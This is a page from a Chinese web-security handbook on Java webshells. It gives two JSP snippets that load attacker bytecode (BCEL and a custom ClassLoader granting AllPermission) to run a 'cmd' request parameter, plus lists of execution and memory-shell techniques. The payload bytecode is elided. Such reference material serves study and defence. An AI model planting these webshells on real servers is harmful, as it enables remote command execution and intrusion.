- 目录
- 1. 序章
- 2. 计算机网络与协议
- 3. 信息收集
- 4. 常见漏洞攻防
- 5. 语言与框架
- 6. 内网渗透
- 7. 云安全
- 8. 防御技术
- 9. 认证机制
- 10. 工具与资源
- 11. 手册速查
- 12. 其他
文章来源于网络收集而来,版权归原创者所有,如有侵权请及时联系!
5.3.12. WebShell
5.3.12. WebShell
5.3.12.1. BCEL字节码
String bcelCode = "..."; response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes());
5.3.12.2. 自定义类加载器
response.getOutputStream().write(new ClassLoader() { @Override public Class<?> loadClass(String name) throws ClassNotFoundException { if (name.contains("shell")) { return findClass(name); } return super.loadClass(name); } @Override protected Class<?> findClass(String name) throws ClassNotFoundException { try { byte[] bytes = Base64.getDecoder().decode("..."); PermissionCollection pc = new Permissions(); pc.add(new AllPermission()); ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); } catch (Exception e) { e.printStackTrace(); } return super.findClass(name); } }.loadClass("shell").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes()); %>
5.3.12.3. 执行命令变式
- java.lang.ProcessBuilder#start
- java.lang.Runtime#exec
- TemplatesImpl
5.3.12.4. 基于反射
- class.forName
- MethodAccessor.invoke
- Method.invoke
5.3.12.5. 其他Shell变式
- java.beans.Expression
- java.lang.ClassLoader
- java.net.URLClassLoader
- jdk.nashorn.internal.runtime.ScriptLoader
- ObjectInputStream.resolveClass
- ScriptEngine.eval
- ScriptEngineManager
- ToolProvider.getSystemJavaCompiler
5.3.12.6. Tomcat 容器
- Servlet
- Filter
- Listener
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论